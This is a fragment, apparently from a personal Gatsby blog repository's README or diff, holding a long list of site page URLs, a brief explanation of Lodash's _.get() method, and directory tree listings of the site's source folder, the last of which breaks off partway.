+-   [https://bgoonz-blog.netlify.app/docs/projects/links](https://bgoonz-blog.netlify.app/docs/projects/links)
+-   [https://bgoonz-blog.netlify.app/docs/projects/mini-projects](https://bgoonz-blog.netlify.app/docs/projects/mini-projects)
+-   [https://bgoonz-blog.netlify.app/docs/projects/mini-projects2](https://bgoonz-blog.netlify.app/docs/projects/mini-projects2)
+-   [https://bgoonz-blog.netlify.app/docs/projects/recent](https://bgoonz-blog.netlify.app/docs/projects/recent)
+-   [https://bgoonz-blog.netlify.app/docs/python](https://bgoonz-blog.netlify.app/docs/python)
+-   [https://bgoonz-blog.netlify.app/docs/python/at-length](https://bgoonz-blog.netlify.app/docs/python/at-length)
+-   [https://bgoonz-blog.netlify.app/docs/python/cheat-sheet](https://bgoonz-blog.netlify.app/docs/python/cheat-sheet)
+-   [https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide](https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide)
+-   [https://bgoonz-blog.netlify.app/docs/python/data-structures-in-python](https://bgoonz-blog.netlify.app/docs/python/data-structures-in-python)
+-   [https://bgoonz-blog.netlify.app/docs/python/examples](https://bgoonz-blog.netlify.app/docs/python/examples)
+-   [https://bgoonz-blog.netlify.app/docs/python/flow-control](https://bgoonz-blog.netlify.app/docs/python/flow-control)
+-   [https://bgoonz-blog.netlify.app/docs/python/functions](https://bgoonz-blog.netlify.app/docs/python/functions)
+-   [https://bgoonz-blog.netlify.app/docs/python/google-sheets-api](https://bgoonz-blog.netlify.app/docs/python/google-sheets-api)
+-   [https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs](https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs)
+-   [https://bgoonz-blog.netlify.app/docs/python/python-ds](https://bgoonz-blog.netlify.app/docs/python/python-ds)
+-   [https://bgoonz-blog.netlify.app/docs/python/python-quiz](https://bgoonz-blog.netlify.app/docs/python/python-quiz)
+-   [https://bgoonz-blog.netlify.app/docs/python/snippets](https://bgoonz-blog.netlify.app/docs/python/snippets)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref](https://bgoonz-blog.netlify.app/docs/quick-ref)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis](https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/create-react-app](https://bgoonz-blog.netlify.app/docs/quick-ref/create-react-app)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/Emmet](https://bgoonz-blog.netlify.app/docs/quick-ref/Emmet)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/fetch](https://bgoonz-blog.netlify.app/docs/quick-ref/fetch)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/general-structured-data-guidelines](https://bgoonz-blog.netlify.app/docs/quick-ref/general-structured-data-guidelines)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/git-bash](https://bgoonz-blog.netlify.app/docs/quick-ref/git-bash)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/git-tricks](https://bgoonz-blog.netlify.app/docs/quick-ref/git-tricks)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/google-firebase](https://bgoonz-blog.netlify.app/docs/quick-ref/google-firebase)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/heroku-error-codes](https://bgoonz-blog.netlify.app/docs/quick-ref/heroku-error-codes)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/installation](https://bgoonz-blog.netlify.app/docs/quick-ref/installation)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/markdown-dropdowns](https://bgoonz-blog.netlify.app/docs/quick-ref/markdown-dropdowns)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/minifiction](https://bgoonz-blog.netlify.app/docs/quick-ref/minifiction)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/new-repo-instructions](https://bgoonz-blog.netlify.app/docs/quick-ref/new-repo-instructions)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/pull-request-rubric](https://bgoonz-blog.netlify.app/docs/quick-ref/pull-request-rubric)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/python-builtin-functions](https://bgoonz-blog.netlify.app/docs/quick-ref/python-builtin-functions)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/quick-links](https://bgoonz-blog.netlify.app/docs/quick-ref/quick-links)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/topRepos](https://bgoonz-blog.netlify.app/docs/quick-ref/topRepos)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path](https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path)
+-   [https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes](https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes)
+-   [https://bgoonz-blog.netlify.app/docs/react](https://bgoonz-blog.netlify.app/docs/react)
+-   [https://bgoonz-blog.netlify.app/docs/react/accessibility](https://bgoonz-blog.netlify.app/docs/react/accessibility)
+-   [https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis](https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis)
+-   [https://bgoonz-blog.netlify.app/docs/react/cheatsheet](https://bgoonz-blog.netlify.app/docs/react/cheatsheet)
+-   [https://bgoonz-blog.netlify.app/docs/react/complete-react](https://bgoonz-blog.netlify.app/docs/react/complete-react)
+-   [https://bgoonz-blog.netlify.app/docs/react/createReactApp](https://bgoonz-blog.netlify.app/docs/react/createReactApp)
+-   [https://bgoonz-blog.netlify.app/docs/react/demo](https://bgoonz-blog.netlify.app/docs/react/demo)
+-   [https://bgoonz-blog.netlify.app/docs/react/dont-use-index-as-keys](https://bgoonz-blog.netlify.app/docs/react/dont-use-index-as-keys)
+-   [https://bgoonz-blog.netlify.app/docs/react/higher-order-components](https://bgoonz-blog.netlify.app/docs/react/higher-order-components)
+-   [https://bgoonz-blog.netlify.app/docs/react/jsx](https://bgoonz-blog.netlify.app/docs/react/jsx)
+-   [https://bgoonz-blog.netlify.app/docs/react/quiz](https://bgoonz-blog.netlify.app/docs/react/quiz)
+-   [https://bgoonz-blog.netlify.app/docs/react/react-docs](https://bgoonz-blog.netlify.app/docs/react/react-docs)
+-   [https://bgoonz-blog.netlify.app/docs/react/react-in-depth](https://bgoonz-blog.netlify.app/docs/react/react-in-depth)
+-   [https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase](https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase)
+-   [https://bgoonz-blog.netlify.app/docs/react/react-router](https://bgoonz-blog.netlify.app/docs/react/react-router)
+-   [https://bgoonz-blog.netlify.app/docs/react/react-study-guide](https://bgoonz-blog.netlify.app/docs/react/react-study-guide)
+-   [https://bgoonz-blog.netlify.app/docs/react/react2](https://bgoonz-blog.netlify.app/docs/react/react2)
+-   [https://bgoonz-blog.netlify.app/docs/react/render-elements](https://bgoonz-blog.netlify.app/docs/react/render-elements)
+-   [https://bgoonz-blog.netlify.app/docs/readme](https://bgoonz-blog.netlify.app/docs/readme)
+-   [https://bgoonz-blog.netlify.app/docs/reference](https://bgoonz-blog.netlify.app/docs/reference)
+-   [https://bgoonz-blog.netlify.app/docs/reference/art-of-command-line](https://bgoonz-blog.netlify.app/docs/reference/art-of-command-line)
+-   [https://bgoonz-blog.netlify.app/docs/reference/awesome-lists](https://bgoonz-blog.netlify.app/docs/reference/awesome-lists)
+-   [https://bgoonz-blog.netlify.app/docs/reference/awesome-nodejs](https://bgoonz-blog.netlify.app/docs/reference/awesome-nodejs)
+-   [https://bgoonz-blog.netlify.app/docs/reference/awesome-static](https://bgoonz-blog.netlify.app/docs/reference/awesome-static)
+-   [https://bgoonz-blog.netlify.app/docs/reference/bash-commands](https://bgoonz-blog.netlify.app/docs/reference/bash-commands)
+-   [https://bgoonz-blog.netlify.app/docs/reference/bookmarks](https://bgoonz-blog.netlify.app/docs/reference/bookmarks)
+-   [https://bgoonz-blog.netlify.app/docs/reference/embed-the-web](https://bgoonz-blog.netlify.app/docs/reference/embed-the-web)
+-   [https://bgoonz-blog.netlify.app/docs/reference/github-resources](https://bgoonz-blog.netlify.app/docs/reference/github-resources)
+-   [https://bgoonz-blog.netlify.app/docs/reference/github-search](https://bgoonz-blog.netlify.app/docs/reference/github-search)
+-   [https://bgoonz-blog.netlify.app/docs/reference/google-cloud](https://bgoonz-blog.netlify.app/docs/reference/google-cloud)
+-   [https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm](https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm)
+-   [https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process](https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process)
+-   [https://bgoonz-blog.netlify.app/docs/reference/installing-node](https://bgoonz-blog.netlify.app/docs/reference/installing-node)
+-   [https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs](https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs)
+-   [https://bgoonz-blog.netlify.app/docs/reference/markdown-styleguide](https://bgoonz-blog.netlify.app/docs/reference/markdown-styleguide)
+-   [https://bgoonz-blog.netlify.app/docs/reference/notes-template](https://bgoonz-blog.netlify.app/docs/reference/notes-template)
+-   [https://bgoonz-blog.netlify.app/docs/reference/psql](https://bgoonz-blog.netlify.app/docs/reference/psql)
+-   [https://bgoonz-blog.netlify.app/docs/reference/resources](https://bgoonz-blog.netlify.app/docs/reference/resources)
+-   [https://bgoonz-blog.netlify.app/docs/reference/vscode](https://bgoonz-blog.netlify.app/docs/reference/vscode)
+-   [https://bgoonz-blog.netlify.app/docs/reference/web-api's](https://bgoonz-blog.netlify.app/docs/reference/web-api's)
+-   [https://bgoonz-blog.netlify.app/docs/showcase](https://bgoonz-blog.netlify.app/docs/showcase)
+-   [https://bgoonz-blog.netlify.app/docs/sitemap](https://bgoonz-blog.netlify.app/docs/sitemap)
+-   [https://bgoonz-blog.netlify.app/docs/tips](https://bgoonz-blog.netlify.app/docs/tips)
+-   [https://bgoonz-blog.netlify.app/docs/tips/7-tips-to-become-a-better-web-developer](https://bgoonz-blog.netlify.app/docs/tips/7-tips-to-become-a-better-web-developer)
+-   [https://bgoonz-blog.netlify.app/docs/tips/decrement](https://bgoonz-blog.netlify.app/docs/tips/decrement)
+-   [https://bgoonz-blog.netlify.app/docs/tips/firebase-hosting](https://bgoonz-blog.netlify.app/docs/tips/firebase-hosting)
+-   [https://bgoonz-blog.netlify.app/docs/tips/httrack](https://bgoonz-blog.netlify.app/docs/tips/httrack)
+-   [https://bgoonz-blog.netlify.app/docs/tips/regex-tips](https://bgoonz-blog.netlify.app/docs/tips/regex-tips)
+-   [https://bgoonz-blog.netlify.app/docs/tips/storybook](https://bgoonz-blog.netlify.app/docs/tips/storybook)
+-   [https://bgoonz-blog.netlify.app/docs/tips/top-10-money-tips](https://bgoonz-blog.netlify.app/docs/tips/top-10-money-tips)
+-   [https://bgoonz-blog.netlify.app/docs/tips/ubuntu-setup](https://bgoonz-blog.netlify.app/docs/tips/ubuntu-setup)
+-   [https://bgoonz-blog.netlify.app/docs/tips/web-accessibility](https://bgoonz-blog.netlify.app/docs/tips/web-accessibility)
+-   [https://bgoonz-blog.netlify.app/docs/tools](https://bgoonz-blog.netlify.app/docs/tools)
+-   [https://bgoonz-blog.netlify.app/docs/tools/dev-utilities](https://bgoonz-blog.netlify.app/docs/tools/dev-utilities)
+-   [https://bgoonz-blog.netlify.app/docs/tools/markdown-html](https://bgoonz-blog.netlify.app/docs/tools/markdown-html)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials](https://bgoonz-blog.netlify.app/docs/tutorials)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials/bash](https://bgoonz-blog.netlify.app/docs/tutorials/bash)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials/bash-commands-my](https://bgoonz-blog.netlify.app/docs/tutorials/bash-commands-my)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials/get-file-extension](https://bgoonz-blog.netlify.app/docs/tutorials/get-file-extension)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials/how-2-ubuntu](https://bgoonz-blog.netlify.app/docs/tutorials/how-2-ubuntu)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials/psql-setup](https://bgoonz-blog.netlify.app/docs/tutorials/psql-setup)
+-   [https://bgoonz-blog.netlify.app/docs/tutorials/webdev-review](https://bgoonz-blog.netlify.app/docs/tutorials/webdev-review)
+-   [https://bgoonz-blog.netlify.app/docs/typescript](https://bgoonz-blog.netlify.app/docs/typescript)
+-   [https://bgoonz-blog.netlify.app/interview-questions-js](https://bgoonz-blog.netlify.app/interview-questions-js)
+-   [https://bgoonz-blog.netlify.app/readme](https://bgoonz-blog.netlify.app/readme)
+-   [https://bgoonz-blog.netlify.app/showcase](https://bgoonz-blog.netlify.app/showcase)
+<summary>  ↞↠ Getting Started With GatsbyJS ↞↠  </summary>
+
+#
+
+
+
+## Technoloy
+
+![tech-stack](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/madewith.png?raw=true)
+
+```
+---
+
+## SOURCECODE
+
+---
+
+
+
+### Overview
+
+The **`_.get()` method** in Lodash retrieves the object’s value at a specific path.
+
+If the value is not present at the object’s specific path, it will be resolved as `undefined`. This method will return the default value if specified in such a case.
+
+### Syntax
+
+```js
+_.get(object, path, defaultValue)
+```
+
+### Parameters
+
+This method accepts the following parameters:
+
+-   **`object`**: The object in which the given path will be queried.
+-   **`path`**: The path used to retrieve the value from the object.
+-   **`defaultValue`**: The default value that will be returned for resolved values that are undefined.
+
+### Return value
+
+This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.
+
+### Example
+
+Let’s look at an example of the `_.get()` method in the code snippet below:
+
+### Explanation
+
+In the HTML tab:
+
+-   **Line 5**: We import the `lodash` script.
+
+In the JavaScript tab:
+
+-   **Lines 2 to 15**: We create an object to perform a query.
+
+-   **Line 18**: We define a variable `collegeYopPath` to get the value.
+
+-   **Lines 19**: We use the `_.get()` method and pass the `object`, `collegeYopPath`, and a default value as parameters.
+
+-   **Line 22**: We define a variable `falsyPath` to get the value.
+
+-   **Lines 23**: We use the `_.get()` method and pass the `object`, `falsyPath` and a `default value` as parameters.
+
+### Output
+
+-   The `_.get()` method at **line 19** contains a valid path, and therefore the expression is resolved, and `2021` is printed on the console.
+-   The `_.get()` method at **Line 23** contains an invalid path, and therefore the expression is resolved as `undefined`.
+
+
+---
+
+```
+
+bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$ tree -f
+.
+├── ./components
+│   ├── ./components/ActionLink.js
+│   ├── ./components/CtaButtons.js
+│   ├── ./components/DocsMenu.js
+│   ├── ./components/DocsSubmenu.js
+│   ├── ./components/Footer.js
+│   ├── ./components/Header.js
+│   ├── ./components/Icon.js
+│   ├── ./components/Layout.js
+│   ├── ./components/SectionContent.js
+│   ├── ./components/SectionCta.js
+│   ├── ./components/SectionDocs.js
+│   ├── ./components/SectionGrid.js
+│   ├── ./components/SectionHero.js
+│   ├── ./components/Submenu.js
+│   ├── ./components/global.css
+│   └── ./components/index.js
+├── ./data
+│   └── ./data/doc_sections.yml
+├── ./hooks
+│   └── ./hooks/useScript.js
+├── ./html.js
+├── ./pages
+│   ├── ./pages/blog
+│   │   ├── ./pages/blog/blog-archive.md
+│   │   ├── ./pages/blog/blogwcomments.md
+│   │   ├── ./pages/blog/data-structures.md
+│   │   ├── ./pages/blog/index.md
+│   │   ├── ./pages/blog/my-medium.md
+│   │   ├── ./pages/blog/platform-docs.md
+│   │   ├── ./pages/blog/python-for-js-dev.md
+│   │   ├── ./pages/blog/python-resources.md
+│   │   └── ./pages/blog/web-scraping.md
+│   ├── ./pages/docs
+│   │   ├── ./pages/docs/about
+│   │   │   ├── ./pages/docs/about/index.md
+│   │   │   ├── ./pages/docs/about/me.md
+│   │   │   ├── ./pages/docs/about/node
+│   │   │   │   ├── ./pages/docs/about/node/install.md
+│   │   │   │   ├── ./pages/docs/about/node/intro.md
+│   │   │   │   ├── ./pages/docs/about/node/nodejs.md
+│   │   │   │   ├── ./pages/docs/about/node/nodevsbrowser.md
+│   │   │   │   ├── ./pages/docs/about/node/reading-files.md
+│   │   │   │   └── ./pages/docs/about/node/writing-files.md
+│   │   │   ├── ./pages/docs/about/npm.md
+│   │   │   └── ./pages/docs/about/resume.md
+│   │   ├── ./pages/docs/articles
+│   │   │   ├── ./pages/docs/articles/algo.md
+│   │   │   ├── ./pages/docs/articles/article-compilation.md
+│   │   │   ├── ./pages/docs/articles/basic-web-dev.md
+│   │   │   ├── ./pages/docs/articles/gists.md
+│   │   │   ├── ./pages/docs/articles/index.md
+│   │   │   ├── ./pages/docs/articles/install.md
+│   │   │   ├── ./pages/docs/articles/intro.md
+│   │   │   ├── ./pages/docs/articles/python.md
+│   │   │   ├── ./pages/docs/articles/reading-files.md
+│   │   │   ├── ./pages/docs/articles/resources.md
+│   │   │   ├── ./pages/docs/articles/ten-jamstack-apis-to-checkout.md
+│   │   │   └── ./pages/docs/articles/writing-files.md
+│   │   ├── ./pages/docs/docs
+│   │   │   └── ./pages/docs/docs/tools
+│   │   │       └── ./pages/docs/docs/tools/file-types.md
+│   │   ├── ./pages/docs/faq
+│   │   │   ├── ./pages/docs/faq/contact.md
+│   │   │   └── ./pages/docs/faq/index.md
+│   │   ├── ./pages/docs/gists.md
+│   │   ├── ./pages/docs/index.md
+│   │   ├── ./pages/docs/interact
+│   │   │   ├── ./pages/docs/interact/clock.md
+│   │   │   ├── ./pages/docs/interact/index.md
+│   │   │   └── ./pages/docs/interact/jupyter-notebooks.md
+│   │   ├── ./pages/docs/links
+│   │   │   ├── ./pages/docs/links/index.md
+│   │   │   ├── ./pages/docs/links/medium-links.md
+│   │   │   ├── ./pages/docs/links/my-websites.md
+│   │   │   └── ./pages/docs/links/social.md
+│   │   ├── ./pages/docs/quick-reference
+│   │   │   ├── ./pages/docs/quick-reference/Emmet.md
+│   │   │   ├── ./pages/docs/quick-reference/docs.md
+│   │   │   ├── ./pages/docs/quick-reference/index.md
+│   │   │   ├── ./pages/docs/quick-reference/installation.md
+│   │   │   └── ./pages/docs/quick-reference/new-repo-instructions.md
+│   │   ├── ./pages/docs/react
+│   │   │   ├── ./pages/docs/react/createReactApp.md
+│   │   │   ├── ./pages/docs/react/index.md
+│   │   │   └── ./pages/docs/react/react2.md
+│   │   ├── ./pages/docs/react-in-depth.md
+│   │   ├── ./pages/docs/sitemap.md
+│   │   └── ./pages/docs/tools
+│   │       ├── ./pages/docs/tools/index.md
+│   │       ├── ./pages/docs/tools/notes-template.md
+│   │       ├── ./pages/docs/tools/plug-ins.md
+│   │       └── ./pages/docs/tools/vscode.md
+│   ├── ./pages/index.md
+│   ├── ./pages/notes-template.md
+│   ├── ./pages/review.md
+│   └── ./pages/showcase.md
+├── ./sass
+│   ├── ./sass/imports
+│   │   ├── ./sass/imports/_animations.scss
+│   │   ├── ./sass/imports/_buttons.scss
+│   │   ├── ./sass/imports/_docs.scss
+│   │   ├── ./sass/imports/_footer.scss
+│   │   ├── ./sass/imports/_forms.scss
+│   │   ├── ./sass/imports/_functions.scss
+│   │   ├── ./sass/imports/_general.scss
+│   │   ├── ./sass/imports/_header.scss
+│   │   ├── ./sass/imports/_helpers.scss
+│   │   ├── ./sass/imports/_icons.scss
+│   │   ├── ./sass/imports/_palettes.scss
+│   │   ├── ./sass/imports/_posts.scss
+│   │   ├── ./sass/imports/_prism.scss
+│   │   ├── ./sass/imports/_reset.scss
+│   │   ├── ./sass/imports/_sections.scss
+│   │   ├── ./sass/imports/_structure.scss
+│   │   ├── ./sass/imports/_tables.scss
+│   │   └── ./sass/imports/_variables.scss
+│   └── ./sass/main.scss
+├── ./templates
+│   ├── ./templates/advanced.js
+│   ├── ./templates/blog.js
+│   ├── ./templates/docs.js
+│   ├── ./templates/page.js
+│   └── ./templates/post.js
+└── ./utils
+    ├── ./utils/attribute.js
+    ├── ./utils/classNames.js
+    ├── ./utils/cycler.js
+    ├── ./utils/getData.js
+    ├── ./utils/getPage.js
+    ├── ./utils/getPageByFilePath.js
+    ├── ./utils/getPages.js
+    ├── ./utils/htmlToReact.js
+    ├── ./utils/index.js
+    ├── ./utils/link.js
+    ├── ./utils/markdownify.js
+    ├── ./utils/pathJoin.js
+    ├── ./utils/toStyleObj.js
+    ├── ./utils/toUrl.js
+    └── ./utils/withPrefix.js
+
+21 directories, 119 files
+bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
+```
+
+---
+
+## Source Code
+
+<details>
+<summary>  Folder Structure (src)  </summary>
+
+```
+.
+├── Combined_____-_____Doc.md
+├── components
+│     ├── ActionLink.js
+│     ├── CtaButtons.js
+│     ├── DarkToggle
+│     │     ├── index.js
+│     │     └── styles.js
+│     ├── DocsMenu.js
+│     ├── DocsSubmenu.js
+│     ├── Footer.js
+│     ├── Header.js
+│     ├── Icon.js
+│     ├── Layout.js
+│     ├── SectionContent.js
+│     ├── SectionCta.js
+│     ├── SectionDocs.js
+│     ├── SectionGrid.js
+│     ├── SectionHero.js
+│     ├── Submenu.js
+│     ├── global.css
+│     └── index.js
+├── data
+│     └── doc_sections.yml
+├── hooks
+│     ├── addScript.js
+│     ├── index.js
+│     ├── useDarkMode.js
+│     ├── useEventListener.js
+│     ├── useMediaQuery.js
+│     ├── useOnClickOutside.js
+│     ├── useQueryParam.js
+│     ├── useSize.js
+│     └── useStorage.js
+├── html.js
+├── pages
+│     ├── blog
+│     │     ├── 300-react-questions.md
+│     │     ├── awesome-graphql.md
+│     │     ├── big-o-complexity.md
+│     │     ├── blog-archive.md
+│     │     ├── blogwcomments.md
+│     │     ├── data-structures.md
+│     │     ├── flow-control-in-python.md
+│     │     ├── functions-in-python.md
+│     │     ├── git-gateway.md
+│     │     ├── index.md
+│     │     ├── interview-questions-js.md
+│     │     ├── netlify-cms.md
+│     │     ├── platform-docs.md
+│     │     ├── python-for-js-dev.md
+│     │     ├── python-resources.md
+│     │     ├── web-dev-trends.md
+│     │     └── web-scraping.md
+│     ├── docs
+│     │     ├── about
+│     │     │     ├── eng-portfolio.md
+│     │     │     ├── ideas-for-this-website.md
+│     │     │     ├── index.md
+│     │     │     ├── intrests.md
+│     │     │     ├── job-search.md
+│     │     │     └── resume.md
+│     │     ├── articles
+│     │     │     ├── basic-web-dev.md
+│     │     │     ├── buffers.md
+│     │     │     ├── dev-dep.md
+│     │     │     ├── event-loop.md
+│     │     │     ├── fs-module.md
+│     │     │     ├── how-the-web-works.md
+│     │     │     ├── http.md
+│     │     │     ├── index.md
+│     │     │     ├── install.md
+│     │     │     ├── intro.md
+│     │     │     ├── modules.md
+│     │     │     ├── nextjs.md
+│     │     │     ├── node-api-express.md
+│     │     │     ├── node-cli-args.md
+│     │     │     ├── node-common-modules.md
+│     │     │     ├── node-env-variables.md
+│     │     │     ├── node-js-language.md
+│     │     │     ├── node-package-manager.md
+│     │     │     ├── node-repl.md
+│     │     │     ├── node-run-cli.md
+│     │     │     ├── nodejs.md
+│     │     │     ├── nodevsbrowser.md
+│     │     │     ├── npm.md
+│     │     │     ├── npx.md
+│     │     │     ├── os-module.md
+│     │     │     ├── reading-files.md
+│     │     │     ├── semantic-html.md
+│     │     │     ├── semantic.md
+│     │     │     ├── the-uniform-resource-locator-(url).md
+│     │     │     ├── understanding-firebase.md
+│     │     │     ├── v8.md
+│     │     │     ├── web-standards-checklist.md
+│     │     │     ├── webdev-tools.md
+│     │     │     └── writing-files.md
+│     │     ├── audio
+│     │     │     ├── audio-feature-extraction.md
+│     │     │     ├── audio.md
+│     │     │     ├── dfft.md
+│     │     │     ├── discrete-fft.md
+│     │     │     ├── dtw-python-explained.md
+│     │     │     ├── dynamic-time-warping.md
+│     │     │     ├── index.md
+│     │     │     └── web-audio-api.md
+│     │     ├── career
+│     │     │     ├── dev-interview.md
+│     │     │     ├── index.md
+│     │     │     ├── interview-dos-n-donts.md
+│     │     │     └── job-boards.md
+│     │     ├── community
+│     │     │     ├── an-open-letter-2-future-developers.md
+│     │     │     ├── index.md
+│     │     │     └── video-chat.md
+│     │     ├── content
+│     │     │     ├── algo.md
+│     │     │     ├── archive.md
+│     │     │     ├── gatsby-Queries-Mutations.md
+│     │     │     ├── history-api.md
+│     │     │     ├── index.md
+│     │     │     ├── main-projects.md
+│     │     │     └── trouble-shooting.md
+│     │     ├── data-structures
+│     │     │     └── index.md
+│     │     ├── docs
+│     │     │     ├── appendix.md
+│     │     │     ├── art-of-command-line.md
+│     │     │     ├── bash.md
+│     │     │     ├── content.md
+│     │     │     ├── css.md
+│     │     │     ├── data-structures-docs.md
+│     │     │     ├── es-6-features.md
+│     │     │     ├── git-reference.md
+│     │     │     ├── git-repos.md
+│     │     │     ├── html-spec.md
+│     │     │     ├── index.md
+│     │     │     ├── markdown.md
+│     │     │     ├── no-whiteboarding.md
+│     │     │     ├── node-docs-complete.md
+│     │     │     ├── node-docs-full.md
+│     │     │     ├── regex-in-js.md
+│     │     │     └── sitemap.md
+│     │     ├── faq
+│     │     │     ├── contact.md
+│     │     │     ├── index.md
+│     │     │     └── plug-ins.md
+│     │     ├── gists.md
+│     │     ├── index.md
+│     │     ├── interact
+│     │     │     ├── callstack-visual.md
+│     │     │     ├── clock.md
+│     │     │     ├── index.md
+│     │     │     ├── jupyter-notebooks.md
+│     │     │     ├── other-sites.md
+│     │     │     └── video-chat.md
+│     │     ├── interview
+│     │     │     ├── index.md
+│     │     │     ├── job-search-nav.md
+│     │     │     └── review-concepts.md
+│     │     ├── javascript
+│     │     │     ├── arrow-functions.md
+│     │     │     ├── asyncjs.md
+│     │     │     ├── await-keyword.md
+│     │     │     ├── bigo.md
+│     │     │     ├── clean-code.md
+│     │     │     ├── constructor-functions.md
+│     │     │     ├── index.md
+│     │     │     ├── promises.md
+│     │     │     ├── review.md
+│     │     │     └── this-is-about-this.md
+│     │     ├── leetcode
+│     │     │     └── index.md
+│     │     ├── privacy-policy.md
+│     │     ├── projects
+│     │     │     ├── embeded-websites.md
+│     │     │     ├── index.md
+│     │     │     ├── list-of-projects.md
+│     │     │     ├── mini-projects.md
+│     │     │     └── my-websites.md
+│     │     ├── python
+│     │     │     ├── at-length.md
+│     │     │     ├── cheat-sheet.md
+│     │     │     ├── comprehensive-guide.md
+│     │     │     ├── examples.md
+│     │     │     ├── flow-control.md
+│     │     │     ├── functions.md
+│     │     │     ├── google-sheets-api.md
+│     │     │     ├── index.md
+│     │     │     ├── intro-for-js-devs.md
+│     │     │     ├── python-ds.md
+│     │     │     └── snippets.md
+│     │     ├── quick-reference
+│     │     │     ├── Emmet.md
+│     │     │     ├── all-emojis.md
+│     │     │     ├── create-react-app.md
+│     │     │     ├── git-bash.md
+│     │     │     ├── git-tricks.md
+│     │     │     ├── google-firebase.md
+│     │     │     ├── heroku-error-codes.md
+│     │     │     ├── index.md
+│     │     │     ├── installation.md
+│     │     │     ├── markdown-dropdowns.md
+│     │     │     ├── minifiction.md
+│     │     │     ├── new-repo-instructions.md
+│     │     │     ├── psql-setup.md
+│     │     │     ├── pull-request-rubric.md
+│     │     │     ├── quick-links.md
+│     │     │     ├── topRepos.md
+│     │     │     ├── understanding-path.md
+│     │     │     └── vscode-themes.md
+│     │     ├── react
+│     │     │     ├── ajax-n-apis.md
+│     │     │     ├── cheatsheet.md
+│     │     │     ├── createReactApp.md
+│     │     │     ├── demo.md
+│     │     │     ├── dont-use-index-as-keys.md
+│     │     │     ├── index.md
+│     │     │     ├── jsx.md
+│     │     │     ├── react-docs.md
+│     │     │     ├── react-in-depth.md
+│     │     │     ├── react2.md
+│     │     │     └── render-elements.md
+│     │     ├── reference
+│     │     │     ├── awesome-lists.md
+│     │     │     ├── awesome-static.md
+│     │     │     ├── bash-commands.md
+│     │     │     ├── bookmarks.md
+│     │     │     ├── embed-the-web.md
+│     │     │     ├── github-search.md
+│     │     │     ├── google-cloud.md
+│     │     │     ├── how-2-reinstall-npm.md
+│     │     │     ├── how-to-kill-a-process.md
+│     │     │     ├── index.md
+│     │     │     ├── installing-node.md
+│     │     │     ├── intro-to-nodejs.md
+│     │     │     ├── notes-template.md
+│     │     │     ├── psql.md
+│     │     │     ├── resources.md
+│     │     │     ├── vscode.md
+│     │     │     └── web-api's.md
+│     │     ├── search.md
+│     │     ├── sitemap.md
+│     │     ├── tips
+│     │     │     ├── array-methods.md
+│     │     │     ├── index.md
+│     │     │     └── insert-into-array.md
+│     │     ├── tools
+│     │     │     ├── Archive.md
+│     │     │     ├── data-structures.md
+│     │     │     ├── dev-utilities.md
+│     │     │     ├── index.md
+│     │     │     └── markdown-html.md
+│     │     └── tutorials
+│     │         ├── enviorment-setup.md
+│     │         └── index.md
+│     ├── index.md
+│     ├── privacy-policy.md
+│     ├── readme.md
+│     └── showcase.md
+├── sass
+│     ├── imports
+│     │     ├── _animations.scss
+│     │     ├── _buttons.scss
+│     │     ├── _docs.scss
+│     │     ├── _footer.scss
+│     │     ├── _forms.scss
+│     │     ├── _functions.scss
+│     │     ├── _general.scss
+│     │     ├── _header.scss
+│     │     ├── _helpers.scss
+│     │     ├── _icons.scss
+│     │     ├── _palettes.scss
+│     │     ├── _posts.scss
+│     │     ├── _prism.scss
+│     │     ├── _reset.scss
+│     │     ├── _sections.scss
+│     │     ├── _structure.scss
+│     │     ├── _tables.scss
+│     │     └── _variables.scss
+│     └── main.scss
+├── templates
+│     ├── advanced.js
+│     ├── blog.js
+│     ├── docs.js
+│     ├── page.js
+│     ├── post.js
+│     └── templates.md
+└── utils
+    ├── attribute.js
+    ├── blm-badge.js
+    ├── classNames.js
